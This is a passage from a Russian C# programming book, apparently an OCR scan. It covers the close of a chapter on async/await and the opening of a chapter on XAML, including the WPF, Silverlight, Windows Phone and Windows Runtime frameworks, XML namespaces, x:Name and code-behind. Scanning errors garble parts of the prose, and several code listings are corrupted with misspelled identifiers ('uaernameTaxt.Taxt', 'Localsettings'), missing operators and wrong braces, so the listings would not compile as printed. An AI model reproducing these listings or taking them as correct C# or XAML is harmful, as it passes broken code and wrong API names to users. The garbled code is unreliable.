операции. В таком случае при любом отказе мы получим задачу, в которой произошла ошибка, вместе с ис- ключением AggregateException. Так мы сможем увидеть все ошибки. Разумеется, как было показано в предыдущем разделе, при применении await множественные отказы такого рода обрабатывать очень неудобно. Но если вы хотите запустить сразу несколько асинхронных операций и отслеживать «на лету» одновременное выполнение их всех, то для ко- ординирования результатов вам понадобится написать более сложный код, чем при последовательном выполнении работы. Но даже с учетом всего вышесказанного ключевые слова await и async значительно упро- стят вам жизнь. 929
Глава 18 Резюме Асинхронные операции не блокируют тот поток, из которого были запущены. Благодаря этому они более эффективны, чем работа с син- хронными API, а эффективность особенно важна на машинах, работаю- щих под высокой нагрузкой. Кроме того, асинхронные операции очень удобны для использования на стороне клиента, так как они позволя- ют выполнять долгосрочную работу, не вызывая при этом подвисания пользовательского интерфейса. Основной недостаток асинхронного кода — его сложность, особенно при обработке ошибок одновременно во многих взаимосвязанных операциях. В C# 5.0 появилось ключевое сло- во await, позволяющее писать асинхронный код практически в таком же стиле, как и обычный синхронный. Он немного усложняется, если вам требуется единственный метод для управления множеством параллель- ных операций. Но даже если вы пишете асинхронный метод, который выполняет все задачи строго по порядку, то приобретаете преимущество в виде более эффективного использования потоков в серверном прило- жении. Такое приложение сможет одновременно поддерживать больше пользователей, работающих одновременно, поскольку каждая отдельно взятая операция будет потреблять меньше ресурсов. На стороне клиента асинхронный код обеспечивает более «отзывчивый» пользовательский интерфейс. Методы, применяющие await, должны быть помечены ключевым словом async и, как правило, возвращают Task или Task<T>. C# допу- скает возвращаемый тип void, но его обычно приходится использовать, лишь когда нет никакого другого выхода. Компилятор обеспечит ситуа- цию, в которой ваша задача завершится успешно, как только вернется ваш метод, либо неуспешно, если ваш метод откажет в любой момент выполнения. Поскольку await может потреблять как Task, так и Task<T>, вы легко можете распределить асинхронную логику на несколько мето- дов — ведь более высокоуровневый метод может ожидать (await) более низкоуровневый метод async. Обычно работа в итоге выполняется в том или ином API, ориентированном на работу с задачами, но так происхо- дит не всегда, поскольку при работе await требует соответствия опреде- ленному шаблону. Этот шаблон принимает любое выражение, в котором вы можете вызвать метод GetWaiter для получения подходящего типа.
Глава 19 XAML XAML (произносится «заммел») — это язык разметки для опреде- ления макетов и внешнего вида пользовательских интерфейсов. Этот язык поддерживается в нескольких фреймворках. Вы можете пользо- ваться XAML, чтобы создавать приложения в стиле Windows 8, но язык также применяется при создании других приложений для ПК и про- грамм для Windows Phone. Существуют различные инструменты, пред- назначенные для редактирования или обработки XAML. В Visual StuJio есть встроенный XAML-редактор для создания пользовательских ин- терфейсов. Еще существует Microsoft Expression Blend — автономный инструмент, предназначенный скорее для дизайнеров и проектировщи- ков пользовательских интерфейсов, чем для разработчиков. В нем так- же широко поддерживается XAML. Предполагается, что XAML — это аббревиатура от названия extensible Application Markup Language — «расширяемый язык раз- метки приложений». Но скорее всего, как и в случае с другими техни- ческими сокращениями, Microsoft выбрала четыре буквы, образующие более-менее произносимую аббревиатуру, которая пока не имеет ши- роко распространенного альтернативного значения. Буквы сделаны заглавными, чтобы это название выделялось в тексте. На самом деле, в течение некоторого времени этот язык назывался Xaml (без капслока), и слово не имело какого-либо значения аббревиатуры, но со временем Microsoft решила придать ему дополнительный смысл. Таким образом, по названию XAML сложно понять, что же именно представляет собой этот язык. XAML использует XML. Одна из основных целей XAML — упро- стить написание инструментов, предназначенных для работы с XAML. Microsoft попыталась избавить специалистов от необходимости созда- вать специальные инструменты синтаксического анализа и генераторы лишь для того, чтобы иметь возможность читать и писать на этом языке. В пространстве имен XML для пользовательских-интерфейсов XAML определяются различные сущности, соответствующие интерактивным 931
Глава 19 элементам интерфейса. В листинге 19.1 показана строка кода на XAML, в которой инстанцируется кнопка. Имя элемента, Button, указывает тип этого элемента, а атрибуты представляют свойства, задаваемые для него. Как вы увидите, XAML также определяет различные контейнерные эле- менты для управления компоновкой приложения. Так, кнопка Button всегда будет находиться внутри какого-то другого элемента, например Grid или StackPanel. Листинг 19.1. Фрагмент XAML-кода с описанием кнопки <Button Content="OK" Width=”80" Height="38" /> Элементы пользовательского интерфейса и компоновки страницы - важная часть XAML, но этот язык ими не ограничивается. Если бы язык XAML представлял собой всего лишь систему для упорядочивания эле- ментов пользовательского интерфейса на экране, он был бы не слишком интересен. Но в ядре XAML заложена очень важная концепция комби- нируемости. Например, такие элементы управления, как Button, не явля- ются монолитными. Кнопка — это относительно простой элемент, опре- деляющий очень важное поведение (в данном случае кликабельность). Но кроме этого поведения существует и совершенно самостоятельная сущность — так называемый шаблон (template), определяющий внеш- ний вид элемента. Такой шаблон полностью состоит из других объектов; иными словами, XAML предоставляет набор элементов пользователь- ского интерфейса, каждый из которых качественно выполняет одну не- большую рабочую операцию. Данные элементы можно комбинировать, создавая из них более сложные сущности. Во-первых, это значительно облегчает настройку встроенных элементов управления — возможности шаблонов XAML предоставляют разработчикам и дизайнерам полный контроль над тем, как будут выглядеть экранные элементы. Во-вторых, благодаря таким возможностям язык XAML очень гибок — элементы оказываются применимы в разнообразных ситуациях, а не только в тех сценариях, для которых они изначально создавались. Фреймворки на основе XAML XAML не является совершенно унифицированной технологией. На момент написания этой книги корпорация Microsoft поддерживала четыре самостоятельны^^фреймворка, в которых используется XAML. В каждой из этих реализаций предоставляется немного иной набор эле- ментов, а код, что вы пишете для работы с XAML, также будет слегка 932
XAML отличаться в каждом из этих фреймворков. Основные концепции общие для всех форм XAML, поэтому вполне можно было бы обсудить все ва- рианты языка сразу. Но не думайтегчто разметка или код, написанные вами для одного из XAML-фреймворков, обязательно будут работать и во всех других подобных фреймворках. Необходимо очень постарать- ся, чтобы создать код, хорошо портируемый даже между двумя фрейм- ворками, поскольку различия заключаются в очень мелких деталях. I Во всех примерах из этой главы используется разновидность поддерживаемая в версии .NET Core Profile для напи- —- - О»? сания приложений с пользовательским интерфейсом в стиле Windows 8. Этот вариант выбран в основном из-за его новиз- ны, а потому он еще не успел усложниться. У других фрейм- ворков уже было как минимум по несколько лет для того, чтобы «повзрослеть». Это означает, что показанные в данной главе технологии будут работать во всех XAML-фреймворках, но в некоторых из них в код потребуется внести небольшие из- менения. По каждому из данных фреймворков написаны целые кнйги, поэто- му совершенно очевидно, что мы не сможем подробно обсудить их все в рамках одной главы. Здесь я хочу объяснить фундаментальные концеп- ции, общие для всех разновидностей разработки на XAML. Но сначала я расскажу, для чего предназначается каждый из XAML-фреймворков и чем они отличаются друг от друга. WPF Windows Presentation Foundation (WPF) — это XAML-фреймворк для создания локальных приложений Windows для ПК. Например, на нем основан пользовательский интерфейс Visual Studio. WPF стал первым фреймворком, применяющим XAML. Он появился в 2006 году в составе .NET 3.0, в настоящее время наиболее актуальна пятая вер- сия*. Это самый зрелый фреймворк из всех, что мы здесь рассмотрим, поэтому неудивительно, что его вариант XAML наиболее многофунк- ционален. * Если вы удивлены тому, как пять версий фреймворка успели выйти между .NET 3.0 и .NET 4.5, — не сомневайтесь, так и есть. Это версии 3.0,3.5, 3.5 spl, 4.0 и 4.5 (несмо- тря на название, пакет обновления 1 для версии 3.5 был полноценной новой версией). 933
Глава 19 Несмотря на это, слухи о смерти WPF стали распространяться уже с момента появления второго фреймворка на базе XAML (это был Silverlight, первая версия которого вышла в 2007 году). Сообщества раз- работчиков и СМИ обычно уделяют технологическим новинкам гораз- до более пристальное внимание, чем устоявшимся системам, — именно в силу их свежести и модности. Тот факт, что ни один из последующих вариантов XAML пока не сравнился с WPF, легко теряется за увлечени- ями новизной. Все более свежие версии XAML уступают WPF по функ- циональному разнообразию, а если в новых версиях и имеются возмож- ности, эквивалентные тем или иным чертам WPF, они все равно хуже вариантов из WPF по гибкости. Мне приходилось работать со всеми формами XAML на протяжении более десяти лет, и, честно говоря, все XAML-фреймворки, появившиеся после WPF, кажутся мне неполными и даже немного ущербными в некоторых отношениях. Всегда приятно возвращаться к работе с WPF. В любом случае, идея о том, что WPF «скорее мертв, чем жив», осно- вана на непонимании проблемы: даже когда более новым фреймворкам в период пикового интереса к ним удавалось затмевать WPF, напраши- валась мысль, что та или иная новинка заменит собой WPF. На самом же деде все XAML-фреймворки используются в разных целях. Они суще- ствуют, так как могут применяться в сценариях, где WPF оказывается недоступен, но ни один из них не может побить WPF в «родной стихии» последнего. Итак, какова же эта родная стихия WPF? Фреймворк WPF предназначен для создания приложений Windows для ПК. С его помощью вы пишете программы, которые разрабатыва- лись для Windows всегда. Все эти программы перед использованием следует установить на машине. В современном мире, где доминирует Интернет, такой подход с обязательной установкой приложений кажет- ся несколько старомодным, но именно он предоставляет уникальные преимущества. Приложения такого рода могут опираться на все ресур- сы современного ПК. Для работы WPF требуется полный вариант .NET Framework, то есть в этом фреймворке будут доступны все приемы, опи- санные в предыдущих главах книги. Другие среды выполнения, работа- ющие с XAML, такого разнообразия не обеспечивают. Поскольку WPF поддерживает только Windows, в нем можно пользоваться различными Windows-специфичными графическими технологиями, позволяющими в полной мере задействовать возможности аппаратного ускорения гра- фики. Суть в том, что вы наверняка не сможете написать в любом дру- гом XAML-фреймворке такое сложное приложение, как Visual Studio. 934
XAML В состав .NET Framework входит более старый фреймворк, .Windows Forms, который также предназначался для разра- Hv ботки локальных приложений для ПК. В то время как WPF за- думывался в качестве полнофункционального фреймворка для создания пользовательских интерфейсов на базе .NET, Windows Forms просто предоставляет обертки для старых элементов управления из Win32. Windows Forms по-прежнему поддерживается, но на протяжении уже нескольких крупных релизов в нем не появляется крупных нововведений, так как он изначально представлял собой временное решение. WPF появился только в 2006 году, поэтому нужен был какой-то ин- струментарий для написания локальных приложений для ПК в течение первых пяти лет существования .NET. Правда, необ- ходимо отметить, что Windows Forms требует гораздо меньше памяти, чем WPF, и поэтому намного лучше подходит для ра- боты на старом аппаратном обеспечении. В долгосрочной перспективе не исключено, что Windows Runtime (среда выполнения для Windows) распространится за пределы прило- жений, написанных в стиле Windows 8, и станет доступна в классиче- ских версиях Windows для ПК. Конечно, пройдет еще немало времени, прежде чем ей, возможно, удастся сравняться с WPF, но это совершен- но не исключено. Правда, на момент написания данной книги до такого еще далеко. Silverlight Silverlight — это кроссплатформенная среда времени исполнения, разработанная с целью обеспечить использование XAML в Сети. Хотя технически вполне возможно представлять WPF-содержимое в браузе- ре, оно сможет работать лишь при условии, что на машине конечного пользователя установлен .NET Framework. Это означает, что такой сайт можно будет просматривать лишь в операционной системе Windows. Но для работы Silverlight не требуется полномасштабный .NET Framework. Silverlight предоставляется в виде самодостаточного и сравнительно не- большого браузерного плагина. Плагин Silverlight содержит облегченную версию .NET Framework. С его помощью вы можете использовать в браузере XAML и C# (а так- же другие .NET-языки, если хотите). Microsoft предоставляет версию 935
Глава 19 Silverlight для работы в операционной системе Mac OS X. Таким обра- зом, Silverlight — единственный продукт, позволяющий запускать в Мас код .NET в стиле, поддерживаемом Microsoft. Microsoft не представляет среду для выполнения Silverlight в Linux. Существует свободный проект Moonlight (http://www.mono-project. com/Moonlight), целью которого является обеспечение поддержки Silverlight в Linux. Moonlight входит в состав более крупного проекта Mono, ставящего перед собой более масштабную цель: создание сво- бодно распространяемого кроссплатформенного аналога .NET. Тем не менее, хотя сам Mono в настоящее время полон жизни, его субпроект Moonlight отмирает. Ведущий разработчик сосредоточился на других частях Mono, потеряв веру в Silverlight, а компания Novell, некогда про- двигавшая Moonlight на уровне крупных корпораций, также не прояв- ляет к нему интереса. Последний коммит в репозитории с исходным кодом проекта датирован маем 2011 года. Кроме того, хотя Microsoft планировала активно развертывать Silverlight на мобильных телефонах, на практике эта инициатива не получила широкого распространения. Итак, хотя в какой-то период Silverlight действительно представлял собой кроссплатформенную технологию, способную работать практи- чески где угодно, сегодня область его применения ограничена Windows и Mac OS X. Самая интересная черта Silverlight — модель для развертывания в Интернете .NET-приложений. Поскольку это браузерный плагин, мы можем просматривать содержимое, использующее Silverlight, пря- мо на веб-странице — в данном отношении Silverlight довольно похож на Flash. Для пользователей, у которых установлен соответствующий плагин, практика использования Flash и Silverlight практически не от- личается. Такой контент просто отображается на веб-странице вместе с HTML-содержимым. Для того чтобы работать с таким приложением, его не требуется устанавливать, а большинство пользователей даже не отдают себе отчета в том, что на самом деле взаимодействуют с пла- гином. Разумеется, если плагин не установлен, то ничего подобного не про- исходит. Некоторое время назад Flash был распространен практически повсеместно, поэтому Flash-приложения можно было свободно разме- щать на веб-странице, не задумываясь о том, что они могут оказаться недоступны (правда, Apple кардинально изменила эту ситуацию, так как не поддерживает Flash на своих мобильных устройствах). Silverlight 936
XAML никогда не достигал такого широкого распространения на рынке, ка- ким мог похвастаться Flash в эпоху расцвета. Поэтому использование Silverlight на сайтах, собирающих большую аудиторию посетителей, — заведомо рискованная практика. Наиболее естественной средой для применения Silverlight представ- ляются внутрикорпоративные отраслевые бизнес-приложения. Боль- шие корпорации обычно развертывают стандартные настольные конфи- гурации своих приложений, чтобы можно было гарантировать, что все заинтересованные пользователи смогут работать с этими программами, установив требуемые плагины. A Silverlight предоставляет очень по- хожие среды выполнения для клиентских и серверных окружений. Со- временные сайты гораздо сложнее устроены на клиентской стороне, чем еще несколько лет назад. Может сложиться ситуация, в которой вам по- требуется две группы разработчиков: одна из них разбирается в конкрет* ном фреймворке (например, Ruby on Rails) для написания серверного кода, а другая обладает совершенно иным набором навыков (допустим, HTML, CSS, jQuery) для создания клиентского кода. Silverlight позво- ляет использовать языки .NET как на клиентской, так и на серверной стороне. Разумеется, самые лучшие разработчики знакомы с широким спектром технологий, поэтому нет ничего необычного влоиске специ- алистов, знающих несколько фреймворков. Но даже такой специалист, переходя с одного фреймворка на другой, тратит время на когнитивную перестройку. Поэтому в использовании максимально однородного на- бора технологий есть определенный смысл. Хотя Silverlight изначально применялся только в веб-браузерах, в настоящее время он обеспечивает и внебраузерное развертывание (ООВ). Таким образом, он сближается с традиционной моделью ло- кальных приложений для ПК, в которой программу требуется специ- ально устанавливать. Опять же, эта модель работает как в Windows, так и в Мас. Основное преимущество такого подхода заключается в том, что он обеспечивает офлайновое использование — вы можете работать с внебраузерным приложением и без подключения к Интернету. Но механизм развертывания такого приложения Silverlight не изменяет- ся: оно по-прежнему загружается по HTTP, запускается из браузера, а сам Silverlight обеспечивает сравнительно простой механизм обнов- ления внебраузерных приложений. Таким образом, чтобы обновить подобное приложение в масштабах всей организации, достаточно раз- вернуть новую версию на сервере, как это делается при работе с веб- приложениями. 937
Глава 19 Благодаря поддержке внебраузерных приложений, Silverlight начал проникать на территорию WPF. Поскольку в Silverlight очень хорошо налажена поддержка обновлений, в отраслевых бизнес-приложениях для ПК этот фреймворк выглядит даже более привлекательным, чем WPE Тем не менее Silverlight имеет и определенные ограничения. Он содержит лишь небольшое подмножество общего функционала .NET Framework. При кроссплатформенном использовании ограничивают- ся графические возможности Silverlight, поэтому зачастую он работает медленнее, чем WPF (но не всегда). Самые серьезные опасения относительно Silverlight связаны сегод- ня с неопределенностью его будущего. На момент написания этой книги Microsoft не анонсировала каких-либо планов о выпуске новых версий продукта (наиболее актуальная версия, Silverlight 5.0, вышла в дека- бре 2011 года). Правда, в мае 2012 года появилось обновление 5.1, но это был, в сущности, технический релиз, все нововведения в котором свелись к устранению ошибок. В Windows 8 планируется выпустить полноэкранный сенсорный браузер (ориентированный на максималь- но широкую пользовательскую аудиторию) без поддержки Silverlight. В Windows 8 по-прежнему можно работать с Silverlight, но только на экране настольного ПК. Для сенсорных экранов этот плагин малопри- годен. Конечно, Silverlight будет поддерживаться еще не один год, но вполне возможно, что крупных обновлений этого фреймворка уже не последует, так как Microsoft перенесла основные усилия, связанные с веб-разработкой, в сферу HTML. Windows Phone Windows Phone 7 содержит облегченную версию .NET Framework, в частности фреймворк пользовательского интерфейса на базе XAML. По всей видимости, он основан на Silverlight, хотя и имеет существен- ные отличия от версии Silverlight, используемой в Сети. Таким образом, приложения для Windows Phone можно писать на C# или на других языках .NET. Несмотря на общее происхождение, среда выполнения .NET, « применяемая в Windows Phone, не может использовать веб- —содержимое^ основанное на Silverlight. Браузер Windows Phone может отображать лишь страницы, не требующие под- ключения плагинов. 938
XAML В Windows Phone 8 ситуация существенно меняется. Код, написан- ный для Windows Phone 7, будет работать и в восьмой версии, и это единственный способ писать приложения, совместимые одновременно с обеими версиями. Но фактически этот подход уже является унасле- дованным (устаревающим). Windows Phone 8 использует те же основ- ные составляющие операционной системы, что и Windows 8. Один из этих компонентов называется Windows Runtime (среда выполнения Windows). Это новая платформа разработки, обеспечивающая воз- можность писать общий код пользовательского интерфейса на осно- ве XAML, который будет работать как на Windows Phone 8, так и на Windows 8. Среда выполнения Windows и приложения с пользовательским интерфейсом в стиле Windows 8 В Windows 8 появился новый и очень своеобразный вид приложе- ний. Эти приложения работают в полноэкранном режиме, но без каких- либо границ и другой окантовки окон, которые мы привыкли видеть в традиционных локальных приложениях для ПК. Иногда программы этого нового типа называются иммерсивными приложениями, так как при работе они занимают весь экран — компьютер уже не содержит при- ложение, а сам становится приложением*. Приложения такого нового типа были разработаны в первую очередь для поддержки на планшетах — по-видимому, Microsoft имеет большие планы на тот рынок, который Apple создала для iPad. Планшет — это легкое мобильное устройство, как правило, не имеющее мыши и клавиа- туры, им вполне можно управлять только через сенсорный экран. Такое радикальное изменение взаимодействий требует не менее значительных нововведений в создании приложений. Поэтому в Windows 8 и появил- ся совершенно новый тип пользовательского интерфейса. Конструктивные параметры планшетов — это еще одна большая проблема. Портативные компьютеры должны быть сравнительно не- большими и легкими, а модели последних лет предъявляют очень вы- сокие требования к длительности работы батареи. Пользователи при- выкли, что заряд батареи на планшете держится значительно дольше, чем на большом и тяжелом ноутбуке. Зачастую батарея — это самый тя- * Такие программы назывались Metro-приложениями в предварительных версиях Windows 8 (пререлизах). 939
Глава 19 желый компонент устройства, поэтому ваш код должен работать дольше на меньшей батарее. Еще один важнейший фактор, связанный со все большим распро- странением мобильных устройств, — это появление онлайновых рын- ков приложений. Обладатели современных смартфонов и планшетов рассчитывают на то, что смогут просматривать доступные приложения в браузере и с легкостью их устанавливать. Такая ситуация требует су- щественно иного подхода к установке программ и их безопасности, чем тот, что реализуется в WPF или Silverlight. Из-за всех этих изменений Microsoft решила создать целый новый фреймворк. Хотя в WPF можно создавать полноэкранные приложения с сенсорным управлением, с этим старым фреймворком возникает ряд проблем. Во-первых, он использует классическую модель установки, при- меняющуюся в локальных приложениях для ПК, которая практически несовместима с онлайновым рынком. Во-вторых, этот механизм довольно тяжеловесен. Пусть WPF и обладает наиболее мощным XAML-стеком, на обслуживание этого стека также уходит очень много энергии. Соответ- ственно, он совсем не будет способствовать сохранению заряда батареи. Нойый фреймворк Windows Runtime с самого начала разрабатывал- ся с расчетом на поддержку модели приложений, используемой на он- лайновых рынках, в соответствии с ее требованиями к развертыванию и безопасности. Кроме того, он предназначен для работы на достаточно маломощном оборудовании. Microsoft пыталась обеспечить возмож- ность написания приложений в таком стиле исключительно на натив- ном коде (с компиляцией из C++). Так, Windows Runtime — это первый XAML-фреймворк, не требующий использования .NET. Разумеется, вы можете работать с ним из С#, но это не обязательное требование. Все объекты, создаваемые вами при загрузке XAML-файла, на внутриси- стемном уровне являются COM-объектами (хотя CLR превосходно ма- скирует этот факт). В настоящее время Windows Runtime предназначена только для ра- боты с иммерсивными приложениями для Windows 8. Эта среда недо- ступна для использования с более ранних версий Windows или Windows Phone. Даже в Windows 8 данная среда поддерживается только с пол- ноэкранными приложениями «нового стиля». Если вы хотите написать приложение для ПК, то в настоящее время не можете сделать это при помощи Windows Runtime. Именно поэтому фреймворк WPF продол- жает играть важнейшую роль и в Windows 8. 940
XAML Независимо от того, какими фреймворками вы пользуетесь, при ра- боте с ними применяется один и тот же набор базовых концепций. Итак, давайте поговорим об основных возможностях XAML. Основы XAML Под термином XAML понимается два взаимосвязанных, но немного разных феномена. Как правило, этим термином обозначается язык раз- метки для компоновки пользовательских интерфейсов, именно в этом значении аббревиатура будет употребляться в данной главе. Но термин «XAML» может применяться и в более узком смысле: как особый спо- соб использования XML для представления объектных деревьев. Такая возможность построения объектов иногда задействуется и в других кон- текстах. Например, в составе .NET есть система, называемая Windows Workflow Foundation и применяемая для управления рабочими потока- ми. В ней XAML используется для создания объектных деревьев, пред- ставляющих последовательности операций и машины состояний. По- скольку XAML применяется во многих областях, этот язык использует пространства имен XML для указания того, какой файл для чего пред- назначен. В листинге 19.2 приведен код XAML для дерева объектов, со- ответствующего простому пользовательскому интерфейсу. Листинг 19.2. Дерево элементов пользовательского интерфейса <Раде x:Class="SimpleApp.MainPage" xmlns= ’'http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" IsTabStop="false"> <Grid Background="#FFDEDEDE"> <StackPanel HorizontalAlignment="Left" VerticalAlignment="Top" Margin="50,50,0,0" Orientation="Horizontal"> CTextBlock Text="Username" FontSize="14.667" Foreground="Black" Width="80" VerticalAlignment="Center" /> <TextBox x:Name="usernameText" Width="150" Margin="10,10,10,10" /> </StackPanel> 941
Глава 19 <StackPanel HorizontalAlignment="Left" VerticalAlignment=nTop" Margin="50,100,0,0" Orientation="Horizontal"> <TextBlock Text="Password" FontSize="14.667" Foreground="Black" Width=,,80n VerticalAlignment="Center" /> <PasswordBox x:Name="passwordText" Width="150" Margin="10,10,10,10" /> </StackPanel> </Grid> </Page> Как показано на рис. 19.1, эта разметка создает два поля с надпи- сями: одно для ввода имени пользователя, одно — для пароля. Правда, для элементов такого рода обычно применяется немного иная разметка. Ниже в этой главе я подробнее опишу элемент Grid и покажу, как лучше делать такую разметку. Рис. 19.1. Простой пользовательский интерфейс на основе XAML Пространства имен XAML и XML Корневой элемент Раде этого XAML-файла имеет атрибут xmlns, за- дающий по умолчанию пространство имен для этого документа. Этот уникальный идентификатор ресурса (URI) означает XAML-элементы для пользовательского интерфейса; тот же URI вы найдете во всех XAML-фреймворках для пользовательского интерфейса. Это может по- казаться немного странным, так как все разнообразные фреймворки - WPF, Silverlight, Windows Phone и Windows Runtime — предлагают до- вольно различные наборы элементов. Если даже данные наборы в чем-то пересекаются, эквивалентные элементы из разных фреймворков могут быть непохожи друг на друга в деталях, в частности в имеющихся у них 942
XAML свойствах. Логично было бы предположить, что в каждом фреймвор- ке должно использоваться собственное пространство имен. Польза от применения единого пространства имен заключается в том, что в такой ситуации становится проще организовать совместное использование элементов XAML сразу в нескольких фреймворках. Хотя, как будет по- казано ниже, на практике такое удается не всегда. Синтаксический анализатор каждого из XAML-фреймворков для пользовательского интерфейса по-своему выполняет отображение имен XML-элементов на типы. Windows Runtime интерпретирует корне- вой элемент Раде из листинга 19.2 как класс Раде из пространства имен System.Windows.Controls.Раде общеязыковой среды выполнения*. В ре- зультате такой код не скомпилируется, поскольку класс Раде из фрейм- ворка WPF не имеет свойства IsTabStop; отсутствие этого свойства в коде вызвало бы проблемы в Windows Runtime, поэтому оно и при- сутствует в листинге 19.2. Silverlight не принял бы эту разметку, так как класс Раде не входит в нем в основной набор типов, предоставляемый фреймворком. В SDK (инструментарии разработки) для Silverlight име- ется свой класс Раде, относящийся к тому же пространству имен CLR, что и одноименный класс WPF. Но поскольку этот класс находится в отдельной библиотеке, его требуется квалифицировать в ином про- странстве имен XML. Хотя класс Раде есть и в Windows Phone, вы не сможете пользоваться им напрямую, так как он не предоставляет каких- либо общедоступных конструкторов. В качестве корневого элемента в Windows Phone вам придется использовать производный тип, назы- ваемый PhoneApplicationPage. Проблемы именно такого рода я имел в виду выше, говоря о том, что код, написанный для определенного XAML-фреймворка, скорее всего, не будет работать во всех четырех фреймворках. Ситуация с листингом 19.2 немного улучшится, если не учитывать проблем с корневым элементом. Такие несовместимости лишний раз подчеркивают, что отдельные XAML-фреймворки были разработаны для применения в довольно разных условиях. Поэтому загрузка и хо- стинг контента в них реализованы неодинаково. Но весь код из листин- га 19.2, не считая корневого элемента, будет вполне нормально работать во всех четырех фреймворках. * Это пространство имен Windows Runtime, а не пространство имен XML. C# пред- ставляет пространства имен Windows Runtime, как если бы они являлись пространства- ми имен CLR. 943
Глава 19 У корневого элемента также есть атрибут xmlns:x. По соглашению, действующему в XAML-файлах, префикс х: в названии пространства имен всегда.относится к URI, обозначающему универсальные возмож- ности XAML. Некоторые аспекты XAML полезны практически во всех случаях, пишете вы пользовательский интерфейс, последовательность операций или что-то еще. Например, у элементов TextBox и PasswordBox в листинге 19.2 имеются атрибуты x:Name. Возможность давать элемен- там имена полезна во всех диалектах XAML. Между прочим, вы можете просто написать Name вместо x:Name, в случае с большинством элементов это вполне допустимо. Из-за такого явления возникает значительная путаница, но подобный подход работа- ет, поскольку XAML позволяет типу задавать конкретное свойство как равное х: Name. FrameworkElement (базовый класс большинства элементов пользовательского интерфейса) задействует в таком качестве свое свой- ство Name. XAML не требует, чтобы свойство, представляющее x:Name, обязательно называлось Name, но в классе FrameworkElement для него вы- брано именно это наименование. Следовательно, если вы укажете свой- ство x:Name элемента, производного от FrameworkElement, то XAML ав- томатически установит свойство Name и наоборот; фактически здесь мы просто ссылаемся на одно и то же свойство двумя разными способами. Тем не менее не все элементы XAML производны от FrameworkElement - особенно это касается тех сущностей, которые не являются основой для отображаемых на экране элементов. Например, объект-кисть, такой как LinearGradientBrush, не является производным от FrameworkElement, по- тому у него нет и свойства Name. Тем не менее вы можете присвоить ему свойство x:Name. В этом и заключается основная причина, по которой существует x:Name: данное свойство позволяет дать имя любому объ- екту, даже такому, который сам по себе не имеет свойства Name. Возни- кает небольшая путаница: для большинства элементов свойства x:Name и Name являются эквивалентными, но некоторые элементы не поддержи- вают Name. Именно поэтому я стараюсь во всех контекстах пользоваться x:Name: не приходится учитывать, какие элементы поддерживают Name, а какие нет. Сгенерированные классы и отделенный код Еще одна черта XAML, присутствующая в листинге 19.2 и общая для всех диалектов языка, — это'ътрибут х: Class у корневого элемента. Он означает, что разметка XAML представляет не только инструкции для 944
XAML построения дерева объектов. Когдаэтот атрибут присутствует, он велит Visual Studio создать класс с указанным именем. Так, листинг 19.2 бу- дет скомпилирован в класс MainPage, относящийся к пространству имен SimpleApp. В этом классе содержится код, необходимый для генерирования де- рева объектов, описанного в XAML. Visual Studio добавляет к этому сгенерированному классу ключевое слово partial. Как было сказано в главе 3, это означает, что вы може- те присовокупить к классу дополнительные члены из других файлов исходников. Компилятор XAML предусматривает такую возможность для того, чтобы вы могли использовать файл с отделенным кодом очень часто файлы XAML применяются в паре с файлами исходного кода, в результате чего в частичном классе оказываются дополнитель- ные члены. Такими членами могут быть, например, методы, реагирую- щие на пользовательский ввод и соединяющие графический интерфейс с кодом, реализующим логику приложения. Как показано на рис. 19.2, принято именовать файлы с отделенным кодом, добавляя расшире- ние .cs к полному имени соответствующего XAML-файла. На панели Solution Explorer (Обозреватель решений) среды разработки Visual Studio файл с отделенным кодом отображается вложенным в XAML- файл. О О Л то ’ ♦* Q 0 g <> Л Search Solution Explorer (Ctrl ♦;) И Solution ‘SimpleApp* (1 project) * SSi.pteApp ► Л Properties ► References > Ц Assets ► й Common ► JD App-xaml la Package.appxmanifest 01 SimpleApp_TemporaryKey.pfx Рис. 19.2. Файл с отделенным кодом Класс, сгенерированный для XAML-файла, будет иметь по полю для каждого элемента, имеющего атрибут x:Name. Так обеспечивается пря- мой программный доступ к любому поименованному элементу. В ли- стинге 19.3 показан класс отделенного кода для листинга 19.2, где у нас используется именованный элемент usernameText. 945
Глава 19 Листинг 19гЗ. Использование именованных элементов из отделенного кода using Windows.Storage; using Windows.UI.Xaml.Controls; namespace SimpleApp { public partial class MainPage Page { public MainPage() { InitializeComponent(); var settings = ApplicationData.Current.Localsettings; object currentUserName; if (settings.Values.TryGetValue("UserName", out currentUserName)) { uaernameTaxt.Taxt = (string) currentUserName; } usernameText.TextChanged += usernameText_TextChangad; } void usernameText_TextChanged(object sender, TextChangedEventArgs e) { var settings = ApplicationData.Current.LocalSettings; settings.Values["UserName"] = uaernameTaxt.Text; } } } Этот код обеспечивает долговременное хранение имени пользовате- ля, та^с что пользователю не приходится заново вводить имя при каждом запуске программы (если он не собирается войти под другой учетной записью, отличающейся от той, что использовалась последней). Код применяет API среды выполнения Windows Runtime, предназначенный для работы с настройками. В других XAML-фреймворках потребуется немного иной код для управления настройками, но основная идея не из- меняется: на любые элементы из кода XAML, имеющие свойство х: Name, можно напрямую ссылаться по имени из файла с отделенным кодом. Обратите внимание: конструктор вызывает метод InitializeComponent. 946
XAML Он находится в сгенерированной части класса. Именно этот метод соз- дает и инициализирует все элементы, описанные в XAML. Элементы-потомки Содержимое элемента Раде в листинге 19.2 — это один элемент Grid. Этот элемент Grid, в свою очередь, содержит два элемента StackPanel. Оба их я опишу ниже в разделе «Компоновка», но здесь я использую Grid только потому, что этот элемент может содержать любое количе- ство потомков и гибко определять их положение. Теперь я хотел бы рас- смотреть не столько сам элемент Grid, сколько поведение XAML при вложении одних элементов в другие. * Не все элементы поддерживают такое вложение. Например, есть графический элемент под названием Ellipse. Если вы попытаетесь вложить элемент-потомок в Ellipse, то получите ошибку. У элементов каждого типа определяются собственные правила вложения потомков. Класс Раде будет принимать всего один элемент-потомок, задаваемый в качестве значения его свойства Content. Элементы Grid и StackPanel принимают любое количество вложенных элементов-потомков, которые будут добавляться в коллекцию в их свойстве Children. В листинге 19.4 показан код С#, дающий такой же эффект, как и код XAML, создающий первый элемент StackPanel в листинге 19.2. Листинг 19.4. Вложение элементов в коде var usernameLabel = new TextBlock { Text "Username", Fontsize = 14.667, Foreground = new SolidColorBrush(Colors.Black), Width = 80, VerticalAlignment = VerticalAlignment.Center }; var usernameText = new TextBox { Width = 150, Margin = new Thickness(10, 10, 10, 10) I; var stackl = new StackPanel { HorizontalAlignment = HorizontalAlignment.Left, VerticalAlignment = VerticalAlignment.Top, 947
